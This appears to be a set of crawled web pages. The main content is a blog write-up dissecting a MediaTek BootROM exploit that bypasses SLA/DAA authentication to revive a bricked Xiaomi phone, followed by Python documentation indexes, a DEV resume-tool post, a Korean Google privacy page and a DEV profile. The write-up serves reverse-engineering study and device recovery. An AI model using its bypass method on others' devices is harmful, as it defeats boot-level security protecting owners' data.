recompiling the Flutter engine, this can be done easily. We just modify the source code as-is ( third_party/boringssl/src/ssl/handshake.cc ), without needing to find assembly byte patterns in the compiled code. Obfuscating Flutter It is possible to obfuscate Flutter/Dart apps using the instructions provided here. This will make reversing to be a bit harder. Note that only the names are obfuscated, there is no advanced control flow obfuscation performed. Conclusion I am lazy, and recompiling the flutter engine is the shortcut that I take instead of writing a proper snapshot parser. Of course, others have similar ideas of hacking the runtime engine when reversing other technologies, for example, to reverse engineer an obfuscated PHP script, you can hook eval using a PHP module. Author admin Posted on March 7, 2021 March 8, 2021 Categories mobile , reverse-engineering , security 3 Comments on Reverse Engineering a Flutter app by recompiling Flutter Engine Dissecting a MediaTek BootROM exploit A bricked Xiaomi phone led me to discover a project in Github that uses a MediaTek BootROM exploit that was undocumented. The exploit was found by Xyz , and implemented by Chaosmaster . The initial exploit was already available for quite a while . Since I have managed to revive my phone, I am documenting my journey to revive it and also explains how the exploit works. This exploit allows unsigned code execution, which in turn allows us to read/write any data from our phone. For professionals: you can just skip to how the BootROM exploit works (spoiler: it is very simple). This guide will try to guide beginners so they can add support for their own phones. I want to show everything but it will violate MediaTek copyright, so I will only snippets of decompilation of the boot ROM. Bricking my Phone and understanding SP Flash Tool I like to use Xiaomi phones because it’s relatively cheap, has an easy way to unlock the bootloader, and the phone is easy to find here in Thailand. With an unlocked bootloader, I have never got into an unrecoverable boot loop, because I can usually boot into fastboot mode and just reflash with the original ROM. I usually buy a phone with Qualcomm SOC, but this time I bought Redmi 10X Pro 5G with MediaTek SOC (MT6873 also known as Dimensity 800). But it turns out: you can get bricked without the possibility to enter fastboot mode. A few years ago, it was easy to reflash a Mediatek phone: enter BROM mode (usually by holding the volume up button and plugging the USB when the phone is off), and use SP Flash Tool to overwrite everything (including boot/recovery partition). It works this way: we enter BROM mode, the SP Flash Tool will upload DA (download agent) to the phone, and SP Flash Tool will communicate with the DA to perform actions (erase flash, format data, write data, etc). But they have added more security now: when I tried flashing my phone, it displays an authentication dialog. It turns out that this is not your ordinary Mi Account dialog, but you need to be an Authorized Mi Account holder (usually from a service center). It turns out that just flashing a Mediatek phone may enter a boot loop without the possibility of entering fastboot mode. Quoting from an XDA article : The developers who have been developing for the Redmi Note 8 Pro have found that the device tends to get bricked for a fair few reasons. Some have had their phone bricked when they were flashing to the recovery partition from within the recovery, while others have found that installing a stock ROM through fastboot on an unlocked bootloader also bricks the device Xiaomi needs a better way to unbrick its devices instead of Authorized Mi Accounts I found one of the ROM modders that had to deal with a shady person on the Internet using remote Team Viewer to revive his phone. He has some explanation about the MTK BootROM security. To summarize: BROM can have SLA (Serial Link Authorization), DAA (Download Agent Authorization), or both. SLA prevents loading DA if we are not authorized. And DA can present another type of authentication. Using custom DA, we can bypass the DA security, assuming we can bypass SLA to allow loading the DA. When I read those article I decided to give up. I was ready to let go of my data. MTK Bypass By a stroke of luck, I found a bypass for various MTK devices was published just two days after I bricked my Phone. Unfortunately: MT6873 is not yet supported. To support a device, you just need to edit one file ( device.c ), which contains some addresses. Some of these addresses can be found from external sources (such as from the published Linux kernel for that SOC), but most can’t be found without access to the BootROM itself. I tried reading as much as possible about the BROM protocol. Some of the documentation that I found: MediaTek details: SoC startup : has a link to BROM documentation Support for Mediatek Devices in Oxygen Forensic® Detective (Explains about BROM protection) Another luck came in a few days later: Chaosmaster published a generic payload to dump the BootROM. I got lucky: the generic payload works immediately on the first try on my phone and I got my Boot ROM dump. Now we need to figure out what addresses to fill in. At this point, I don’t have another ROM to compare, so I need to be clever in figuring out these addresses. We need to find the following: send_usb_response usbdl_put_dword usbdl_put_data usbdl_get_data uart_reg0 uart_reg1 sla_passed skip_auth_1 skip_auth_2 From the main file that uses those addresses we can see that: uart_reg0 and uart_reg1 are required for proper handshake to work. These addresses can be found on public Linux kernel sources. usbdl_put_dword and usbdl_put_data is used to send data to our computer usbdl_get_data is used to read data from computer sla_passed , skip_auth_1 and skip_auth_2 , are the main variables that we need to overwrite so we can bypass the authentication We can start disassembling the firmware that we obtain fro the generic dumper. We need to load this to address 0x0. Not many strings are available to cross-reference so we need to get creative. Somehow generic_dump_payload can find the address for usb_put_data to send dumped bytes to the Python script. How does it know that? The source for generic_dump_payload is is available in ChaosMaster’s repository . But I didn’t find that information sooner so I just disassembled the file. This is a small binary, so we can reverse engineer it easily using binary ninja. It turns out that it does some pattern matching to find the prolog of the function: 2d e9 f8 4f 80 46 8a 46 . Actually, it searches for the second function that has that prolog. Pattern finder in generic_dump_payload Now that we find the send_word function we can see how sending works. It turns out that it sends a 32-bit value by sending it one byte at a time. Note: I tried continuing with Binary Ninja, but it was not easy to find cross-references to memory addresses on a raw binary, so I switched to Ghidra. After cleaning up the code a bit, it will look something like this: What generic_dump_payload found Now we just need to find the reference to function_pointers and we can find the real address for sendbyte . By looking at related functions I was able to find the addresses for: usbdl_put_dword , usbdl_put_data , usbdl_get_data . Note that the exploit can be simplified a bit, by replacing usbdl_put_dword by a call to usbdl_put_data so we get 1 less address to worry about. The hardest part for me was to find send_usb_response to prevent a timeout. From the main file , I know that it takes 3 numeric parameters (not pointers), and this must be called somewhere before we send data via USB. This narrows it down quite a lot and I can find the correct function. Now to the global variables: sla_passed , skip_auth_1 , and skip_auth_2 . When we look at the main exploit in Python, one of the first things that it does is to read the status of the current configuration. This is done by doing a handshake then retrieve the target config . Target config There must be a big “switch” statement in the boot ROM that handles all of these commands. We can find the handshake bytes ( A0 0A 50 05 ) to find the reference to the handshake routine (actually found two of them, one for USB and one for UART). From there we can find the reference to the big switch statement. The handshake You should be able to find something like this: after handshake it starts to handle commands And the big switch should be clearly visible. Switch to handle various commands Now that we found the switch, we can find the handler for command 0xd8 (get target config). Notice in python, the code is like this : Notice the bit mask By looking at the bitmask, we can conclude the name of the functions that construct the value of the config. E.g: we can name the function that sets the secure boot to is bit_is_secure_boot . Knowing this, we can inspect each bit_is_sla and bit_is_daa we can name the functions from the bit that it sets For SLA: we need to find cross-references that call bit_is_sla , and we can see that another variable is always consulted. If SLA is not set, or SLA is already passed, we are allowed to perform the next action. finding sla_passed Now we need to find two more variables for passing DAA. Looking at bit_is_daa , we found that at the end of this function, it calls a routine that checks if we have passed it. These are the last two variables that we are looking for. How the BootROM Exploit Works The exploit turns out very simple. We are allowed to upload data to a certain memory space The handler for USB control transfer blindly index a function pointer table Basically it something like this: handler_array[value*13](); But there are actually some problems: The value for this array is unknown, but we know that most devices will have 0x100a00 as one of the elements We can brute force the value for USB control transfer to invoke the payload We may also need to experiment with different addresses (since not all device has 0x100a00 as an element that can be used) Another payload is also provided to just restart the device. This will make it easy to find the correct address and control value. Closing Remarks Although I was very upset when my phone got bricked, the experience in solving this problem has been very exciting. Thank you to Xyz for finding this exploit, and ChaosMaster for implementing it, simplifying it, and also for answering my questions and reviewing this post. Author admin Posted on January 31, 2021 March 7, 2021 Categories hacks , hardware , reverse-engineering , security , writeup 18 Comments on Dissecting a MediaTek BootROM exploit Posts pagination Page 1 Page 2 … Page 10 Next page Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:48:55 |
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https://docs.python.org/3.11/ | 3.11.14 Documentation Theme Auto Light Dark Download Download these documents Docs by version Python 3.15 (in development) Python 3.14 (stable) Python 3.13 (stable) Python 3.12 (security-fixes) Python 3.11 (security-fixes) Python 3.10 (security-fixes) Python 3.9 (security-fixes) Python 3.8 (EOL) Python 3.7 (EOL) Python 3.6 (EOL) Python 3.5 (EOL) Python 3.4 (EOL) Python 3.3 (EOL) Python 3.2 (EOL) Python 3.1 (EOL) Python 3.0 (EOL) Python 2.7 (EOL) Python 2.6 (EOL) All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.11.14 Documentation » | Theme Auto Light Dark | Python 3.11.14 documentation Welcome! This is the official documentation for Python 3.11.14. Documentation sections: What's new in Python 3.11? Or all "What's new" documents since Python 2.0 Tutorial Start here: a tour of Python's syntax and features Library reference Standard library and builtins Language reference Syntax and language elements Python setup and usage How to install, configure, and use Python Python HOWTOs In-depth topic manuals Installing Python modules Third-party modules and PyPI.org Distributing Python modules Publishing modules for use by other people Extending and embedding For C/C++ programmers Python's C API C API reference FAQs Frequently asked questions (with answers!) Indices, glossary, and search: Global module index All modules and libraries General index All functions, classes, and terms Glossary Terms explained Search page Search this documentation Complete table of contents Lists all sections and subsections Project information: Reporting issues Contributing to Docs Download the documentation History and license of Python Copyright About the documentation Download Download these documents Docs by version Python 3.15 (in development) Python 3.14 (stable) Python 3.13 (stable) Python 3.12 (security-fixes) Python 3.11 (security-fixes) Python 3.10 (security-fixes) Python 3.9 (security-fixes) Python 3.8 (EOL) Python 3.7 (EOL) Python 3.6 (EOL) Python 3.5 (EOL) Python 3.4 (EOL) Python 3.3 (EOL) Python 3.2 (EOL) Python 3.1 (EOL) Python 3.0 (EOL) Python 2.7 (EOL) Python 2.6 (EOL) All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide « Navigation index modules | Python » 3.11.14 Documentation » | Theme Auto Light Dark | © Copyright 2001-2025, Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Oct 10, 2025 (17:28 UTC). Found a bug ? Created using Sphinx 7.2.6. | 2026-01-13T08:48:55 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse CreatorOS Posted on Jan 9 Free Resume Bullet Rewriter (Impact-Focused) # jobs # resume # career # productivity One of the hardest parts of writing a resume isn’t the formatting — it’s the bullet points. A lot of resumes fail because the bullets are vague: • “Responsible for…” • “Worked on…” • “Helped with…” Recruiters and ATS systems don’t respond well to that. While job searching, I built a small free tool that helps rewrite weak resume bullets into clearer, impact-focused statements. What the tool does The Resume Bullet Rewriter takes: your role your existing bullet (optionally) the target job description It then generates a structured prompt you can paste into ChatGPT to produce stronger bullets that: use action verbs focus on outcomes include metrics where possible No account required. How to use it Enter your role and current bullet Click “Build prompt” Paste the prompt into ChatGPT Copy the rewritten bullet and tweak as needed Here’s the tool: https://creatoros-web.github.io/interviewkit/tools/resume-bullet-rewriter.html I’m also building a small collection of similar job-search tools (ATS keywords, cover letters, interview answers, follow-ups): https://creatoros-web.github.io/interviewkit/ If you’re job searching, I’d love feedback on what parts of resume writing are the most frustrating. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse CreatorOS Follow Building practical tools for job seekers. Currently working on InterviewKit — free tools for resumes, ATS keywords, cover letters, and interviews. Location United States Joined Jan 6, 2026 More from CreatorOS Free ATS Keyword Extractor (No Signup) # jobs # resume # career # productivity 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:48:55 |
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https://docs.python.org/3.2/ | Overview — Python v3.2.6 documentation Navigation index modules | Python » 3.2.6 Documentation » Python v3.2.6 documentation Welcome! This is the documentation for Python 3.2.6, last updated Oct 12, 2014. Parts of the documentation: What's new in Python 3.2? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers Installing Python Modules information for installers & sys-admins Distributing Python Modules sharing modules with others FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Docs for other versions Python 2.7 (stable) Python 3.3 (in development) Old versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Quick search Enter search terms or a module, class or function name. Navigation index modules | Python » 3.2.6 Documentation » © Copyright 1990-2014, Python Software Foundation. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Oct 12, 2014. Found a bug ? Created using Sphinx 1.0.7. | 2026-01-13T08:48:56 |
https://policies.google.com/privacy/partners?hl=ko&gl=kr | Google이 Google 서비스를 사용하는 웹사이트 또는 앱의 정보를 사용하는 방법 – 개인정보 보호 및 약관 – Google 개인정보 보호 및 약관 개인정보 보호 및 약관 기본 콘텐츠로 건너뛰기 로그인 개요 개인정보처리방침 서비스 약관 기술 FAQ 개인정보 보호 및 약관 개요 개인정보처리방침 서비스 약관 기술 광고 Google이 Google 서비스를 사용하는 웹사이트 또는 앱의 정보를 사용하는 방법 Google의 쿠키 사용법 Google의 위치 정보 사용 방법 Google에서 결제에 신용카드 번호를 사용하는 방식 Google 보이스 작동 원리 Google 제품 개인정보 보호 가이드 Google에서 수집한 데이터를 보관하는 방법 FAQ 개인정보 보호 및 약관 개인정보 보호 및 약관 개인정보 보호 및 약관 개요 개인정보처리방침 서비스 약관 기술 FAQ Google 계정 기술 광고 Google이 Google 서비스를 사용하는 웹사이트 또는 앱의 정보를 사용하는 방법 Google의 쿠키 사용법 Google의 위치 정보 사용 방법 Google에서 결제에 신용카드 번호를 사용하는 방식 Google 보이스 작동 원리 Google 제품 개인정보 보호 가이드 Google에서 수집한 데이터를 보관하는 방법 Google 광고 서비스에서는 Chrome 및 Android의 개인 정보 보호 샌드박스 이니셔티브를 통해 온라인에서 사용자의 개인 정보를 더 안전하게 보호하는 방식으로 디지털 광고의 게재 및 측정을 지원하는 새로운 방법을 실험하고 있습니다. Chrome 또는 Android에서 관련 개인 정보 보호 샌드박스 설정을 사용 설정한 사용자는 사용자의 브라우저나 휴대기기에 저장된 Topics 또는 Protected Audience 데이터를 기반으로 Google의 광고 서비스에서 관련 광고를 볼 수 있습니다. Google의 광고 서비스에서는 사용자의 브라우저나 휴대기기에 저장된 Attribution Reporting 데이터를 사용하여 광고 실적을 측정할 수도 있습니다. 개인 정보 보호 샌드박스에 대해 자세히 알아보기 Google이 Google 서비스를 사용하는 웹사이트 또는 앱의 정보를 사용하는 방법 많은 웹사이트 및 앱에서는 콘텐츠를 개선하고 서비스를 무료로 제공하기 위해 Google 서비스를 사용합니다. 이 웹사이트와 앱들은 Google 서비스를 통합하는 과정에서 Google과 정보를 공유합니다. 예를 들어, Google 애널리틱스와 같은 분석 도구를 포함하여 애드센스와 같은 광고 서비스를 사용하거나 YouTube의 동영상 콘텐츠가 삽입되어 있는 웹사이트를 방문하면, 웹브라우저에서 자동으로 특정 정보를 Google에 전송합니다. 이러한 정보에는 방문 중인 페이지의 URL 및 사용자의 IP 주소가 포함됩니다. IP 주소는 사용자의 일반적인 위치를 파악하고, 광고의 효과를 측정하며, 설정에 따라 표시되는 광고의 관련성을 개선하는 용도로 사용될 수 있습니다. Google에서 브라우저에 쿠키를 설정 하거나 이미 존재하는 쿠키를 읽을 수도 있습니다. 또한 Google 광고 서비스를 사용하는 앱은 광고를 위해 앱 이름 및 고유 식별자와 같은 정보를 Google과 공유합니다. Google은 웹사이트 및 앱이 공유하는 정보를 사용하여 서비스를 제공하고, 서비스를 유지 관리 및 개선하고, 새로운 서비스를 개발하고, 광고 효과를 측정하고, 사기 및 악용을 방지하고, Google 및 파트너 웹사이트와 앱에 표시되는 콘텐츠 및 광고를 맞춤설정합니다. 개인정보처리방침 에서 Google이 각 목적별로 데이터를 처리하는 방법을 자세히 알아보세요. 또한 광고 페이지에서는 Google 광고와 관련된 자세한 내용, 광고의 맥락에서 사용자의 정보가 사용되는 방법, Google이 이 정보를 저장하는 기간에 관해 알아볼 수 있습니다. Google 개인정보처리방침 에는 Google에서 사용자 정보를 처리하는 데 사용하는 법적 근거가 설명되어 있습니다. 예를 들어, Google에서는 사용자의 동의를 받아 사용자 정보를 처리할 수 있습니다. 또는 사용자의 필요를 충족하기 위한 서비스 제공, 유지관리, 개선과 같이 적법한 이익을 추구하려는 목적으로 사용자 정보를 처리할 수도 있습니다. 사이트나 앱을 통해 Google과 공유된 사용자 정보를 처리할 때, 이러한 사이트나 앱에서 Google의 정보 처리를 허용하기 전에 사용자의 동의를 구하는 경우가 있습니다. 예를 들어, 사이트에 배너가 표시되어 사이트가 수집한 정보를 Google이 처리하는 데 동의해 달라고 요청할 수 있습니다. 이 경우 Google은 Google 개인정보처리방침에 설명된 법적 근거보다는 사용자가 사이트나 앱에서 동의한 내용을 존중합니다. 동의 여부를 변경하거나 철회하려면 해당 사이트나 앱으로 이동하세요. 광고 개인 최적화 광고 개인 최적화 기능이 사용 설정되어 있으면 Google이 사용자의 정보를 사용하여 사용자에게 더욱 유용한 광고를 표시합니다. 예를 들어, 산악자전거를 판매하는 웹사이트에서 Google의 광고 서비스를 사용하는 경우 사용자가 이 웹사이트를 방문하면 Google이 게재하는 광고를 표시하는 다른 웹사이트에 산악자전거 광고가 표시될 수 있습니다. 광고 개인 최적화를 사용 중지하면 Google은 광고 프로필을 만들거나 사용자에게 표시되는 광고를 맞춤설정하기 위해 사용자 정보를 수집하거나 사용하지 않습니다. 광고는 계속해서 표시되지만, 이전처럼 유용한 광고가 표시되지는 않습니다. 현재 보고 있는 웹사이트나 앱의 주제, 현재 검색어, 대략적인 위치를 바탕으로 광고가 계속 표시될 수는 있지만, 사용자의 관심분야나 검색 기록, 인터넷 사용 기록을 바탕으로 표시되지는 않습니다. 하지만 광고 효과 측정과 사기 및 악용 방지 등 위에서 언급된 다른 목적으로 사용자의 정보가 계속해서 사용될 수도 있습니다. Google 서비스를 사용하는 웹사이트 또는 앱과 상호작용할 때, Google을 포함한 광고 제공업체의 개인 맞춤 광고를 표시할지 선택하는 메시지가 표시될 수 있습니다. 어느 쪽을 선택하든 Google에서는 광고 개인 최적화 설정이 사용 중지되어 있거나 계정에서 개인 맞춤 광고를 사용할 수 없으면 표시되는 광고를 맞춤설정하지 않습니다. 광고 설정 에서 광고 표시에 어떤 정보가 사용되는지 확인하고 관리할 수 있습니다. 이러한 웹사이트 및 앱에서 Google이 수집하는 정보를 관리하는 방법 Google 서비스를 사용하는 웹사이트 및 앱을 방문하거나 이용할 때 기기에서 공유되는 정보를 관리하는 방법은 다음과 같습니다. 광고 설정 을 사용하면 Google 검색이나 YouTube 등의 Google 서비스 또는 Google 광고 서비스를 사용하는 비(非) Google 웹사이트 및 앱에 표시되는 광고를 관리할 수 있습니다. 광고가 어떻게 맞춤설정되는지 알아보고 , 광고 개인 최적화를 선택 해제하고, 특정 광고주를 차단할 수도 있습니다. Google 계정으로 로그인되어 있다면 계정 설정에 따라 내 활동 으로 이동하여 방문한 웹사이트 및 앱에서 Google이 수집하는 정보 등 사용자가 Google 서비스를 사용할 때 생성된 데이터를 검토하고 관리할 수 있습니다. 활동을 날짜 및 주제별로 찾아보고 일부 활동 또는 모든 활동을 삭제할 수 있습니다. 많은 웹사이트와 앱에서는 방문자가 웹사이트 및 앱과 어떻게 상호작용하는지 파악하기 위해 Google 애널리틱스를 사용합니다. 브라우저에서 애널리틱스를 사용하고 싶지 않다면 Google 애널리틱스 브라우저 부가기능을 설치 할 수 있습니다. Google 애널리틱스 및 개인정보 보호 에 대해 자세히 알아보세요. Chrome의 시크릿 모드를 사용 하면 웹페이지와 파일을 브라우저 기록이나 계정 기록(로그인한 경우 제외)에 남기지 않고 웹을 탐색할 수 있습니다. 쿠키는 시크릿 창과 탭을 모두 닫으면 삭제되며, 북마크와 설정은 별도로 삭제하지 않는 한 저장됩니다. 쿠키 에 관해 자세히 알아보세요. Chrome의 시크릿 모드 또는 다른 시크릿 브라우징 모드를 사용해도 Google 서비스를 사용하는 웹사이트를 방문할 경우 데이터 수집이 차단되지 않으며, 사용자가 이러한 브라우저를 사용하여 웹사이트를 방문할 때에도 Google은 계속 데이터를 수집할 수 있습니다. Chrome 등의 여러 브라우저에서는 사용자가 타사 쿠키를 차단할 수 있습니다. 또한 기존 쿠기가 있는 경우 브라우저 내에서 삭제할 수 있습니다. Chrome에서 쿠키를 관리하는 방법 을 자세히 알아보시기 바랍니다. 새 탭에서 열림 (각주 열기) Google Google 정보 개인정보처리방침 약관 투명성 센터 한국어 Afrikaans Bahasa Indonesia Bahasa Melayu Català Čeština Dansk Deutsch Eesti English English (India) English (United Kingdom) Español Español (Latinoamérica) Euskara Filipino Français Français (Canada) Gaeilge Galego Hrvatski Isizulu Íslenska Italiano Kiswahili Latviešu Lietuvių Magyar Malti Nederlands Norsk Polski Português (Brasil) Português (Portugal) Română Slovenčina Slovenščina Srpski Suomi Svenska Tiếng Việt Türkçe অসমীয়া Ελληνικά Български ଓଡିଆ Русский Српски Українська עברית اردو العربية فارسی አማርኛ मराठी हिन्दी বাংলা ગુજરાતી தமிழ் తెలుగు ಕನ್ನಡ മലയാളം ไทย 한국어 中文 (香港) 中文（简体中文） 中文（繁體中文） 日本語 Google 앱 기본 메뉴 | 2026-01-13T08:48:56 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions Davide de Paolis Trouble maker and Problem solver ⚙️🔧 Loves simplicity, hates bullshit 💩. Productivity obsessed, avid learner 🖥🚀 Sport and outdoor freak 🧗⛰ Metalhead 🎸🤘 Father of 2 👨👩👦👦 Opinions are my own Location Hamburg Joined Joined on Jan 28, 2019 Personal website https://instagram.com/ddepaolis.solving.problems github website Work Engineering Manager @ sevDesk Kubernetes Awarded to the top Kubernetes author each week Got it Close Six Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least six years. Got it Close 5 Top 7 Awarded for having a post featured in the weekly "must-reads" list. 🙌 Got it Close Writing Debut Awarded for writing and sharing your first DEV post! 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You've written at least one post per week for 8 consecutive weeks. Unlock the 16-week badge next! Got it Close 4 Week Writing Streak You've posted at least one post per week for 4 consecutive weeks! Got it Close Show all 22 badges More info about @dvddpl Organizations AWS Community Builders Skills/Languages Javascript, Node.js, Serverless, AWS, React, Toastmaster, Currently learning AWS Solution Architect Associate certification Post 193 posts published Comment 526 comments written Tag 9 tags followed Pin Pinned 🌊 Be the Rising Tide: The Multiplying Effect of Lifting (and Pushing) Others Davide de Paolis Davide de Paolis Davide de Paolis Follow Sep 11 '25 🌊 Be the Rising Tide: The Multiplying Effect of Lifting (and Pushing) Others # leadership # outofthecomfortzone # engineeringmanager # personalgrowth Comments Add Comment 3 min read What mass layoffs, cancelled projects and chinese farmers can teach us about resiliency. Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 10 '22 What mass layoffs, cancelled projects and chinese farmers can teach us about resiliency. # mentalhealth # softwareengineering # career # leadership 63 reactions Comments 5 comments 6 min read Make mistakes, and ask questions. It's OK! Davide de Paolis Davide de Paolis Davide de Paolis Follow Mar 2 '22 Make mistakes, and ask questions. It's OK! # productivity # careeradvice # mentalhealth # blamelessculture 17 reactions Comments Add Comment 9 min read The screw and the hammer: Love the problems, not your solutions. Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 11 '21 The screw and the hammer: Love the problems, not your solutions. # productivity # career # personaldevelopment # beginners 93 reactions Comments 10 comments 6 min read Strive for simplicity Davide de Paolis Davide de Paolis Davide de Paolis Follow Jan 6 '20 Strive for simplicity # career # softwaredevelopment # architecture # coding 50 reactions Comments 9 comments 4 min read Road To Compliance: Will Your Internal Users Hate Your Platform Team? Davide de Paolis Davide de Paolis Davide de Paolis Follow Jan 10 Road To Compliance: Will Your Internal Users Hate Your Platform Team? # compliance # aws # serverless # publicspeaking Comments 1 comment 12 min read Want to connect with Davide de Paolis? Create an account to connect with Davide de Paolis. You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in The Culture Map: Book review and reflections from an EM Leading International Teams Davide de Paolis Davide de Paolis Davide de Paolis Follow Jan 6 The Culture Map: Book review and reflections from an EM Leading International Teams # leadership # bookscorner # growthmindset # collaboration Comments Add Comment 8 min read Vibecoding in Between Meetings: Learning MCP Servers and Building a PoC ( with AWS Kiro) Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Dec 19 '25 Vibecoding in Between Meetings: Learning MCP Servers and Building a PoC ( with AWS Kiro) # ainativedevelopment # mcpservers # aws # agenticai Comments Add Comment 3 min read My 2025 Year in Review - Conferences, Community, and Growth as an AWS Community Builder and Leader Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Dec 16 '25 My 2025 Year in Review - Conferences, Community, and Growth as an AWS Community Builder and Leader # awscommunitybuilder # yearlyretrospective # aws # publicspeaking 3 reactions Comments Add Comment 7 min read From Nagging to Holding People Accountable Davide de Paolis Davide de Paolis Davide de Paolis Follow Dec 15 '25 From Nagging to Holding People Accountable # growthmindset # readingsuggestions # leadership # accountability Comments 2 comments 7 min read Am I doing the best I can? Thoughts about talent, mediocrity, expectations and success. Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 24 '25 Am I doing the best I can? Thoughts about talent, mediocrity, expectations and success. # personalgrowth # talent # growthmindset # leadership 1 reaction Comments 3 comments 6 min read Serverless vs Kubernetes: The Final Showdown - Why we decided to hold this talk and where to go from here Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 19 '25 Serverless vs Kubernetes: The Final Showdown - Why we decided to hold this talk and where to go from here # serverless # kubernetes # publicspeaking # architecture 4 reactions Comments 1 comment 4 min read Know your tendencies - Questioning yourself (and others)- The 4 Tendencies Framework Davide de Paolis Davide de Paolis Davide de Paolis Follow Oct 22 '25 Know your tendencies - Questioning yourself (and others)- The 4 Tendencies Framework # personalgrowth # mentalhealth # growthmindset # leadership 1 reaction Comments Add Comment 5 min read Reflections from InfoQ Munich 2025 -Platforms, People, and the Path to Sovereignty Davide de Paolis Davide de Paolis Davide de Paolis Follow Oct 17 '25 Reflections from InfoQ Munich 2025 -Platforms, People, and the Path to Sovereignty # techtalks # infoqdevsummit # publicspeaking # conferences Comments Add Comment 8 min read Discomfort isn’t the enemy: Lessons from 3 times I cried at work Davide de Paolis Davide de Paolis Davide de Paolis Follow Oct 13 '25 Discomfort isn’t the enemy: Lessons from 3 times I cried at work # leadership # impostersyndrome # mentalhealth # careerdevelopment 1 reaction Comments Add Comment 5 min read Easy way to configure your kubeconfig and to debug your your EKS Cluster Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 2 '25 Easy way to configure your kubeconfig and to debug your your EKS Cluster # kubernetes # aws # debugging # devops 1 reaction Comments Add Comment 5 min read The easiest way to set up and configure your AWS CLI Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 1 '25 The easiest way to set up and configure your AWS CLI # credentials # aws # cli # cloudengineering 6 reactions Comments Add Comment 4 min read Clean up S3 with Batch Operations, Tags and Lifecycle policies, they said. It will be cheaper, they said. Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 14 '25 Clean up S3 with Batch Operations, Tags and Lifecycle policies, they said. It will be cheaper, they said. # aws # learning # storage # finops 3 reactions Comments Add Comment 9 min read My 2024 (and 3rd year) as an AWS Community Builder Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 1 '25 My 2024 (and 3rd year) as an AWS Community Builder # awscommunitybuilders # publicspeaking # aws 3 reactions Comments Add Comment 6 min read I failed the AWS Solutions Architect Associate exam, so what?! Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 28 '24 I failed the AWS Solutions Architect Associate exam, so what?! # aws # solutionsarchitect # certification # career 52 reactions Comments 24 comments 5 min read my 2023 in review: sad, mad, sad, 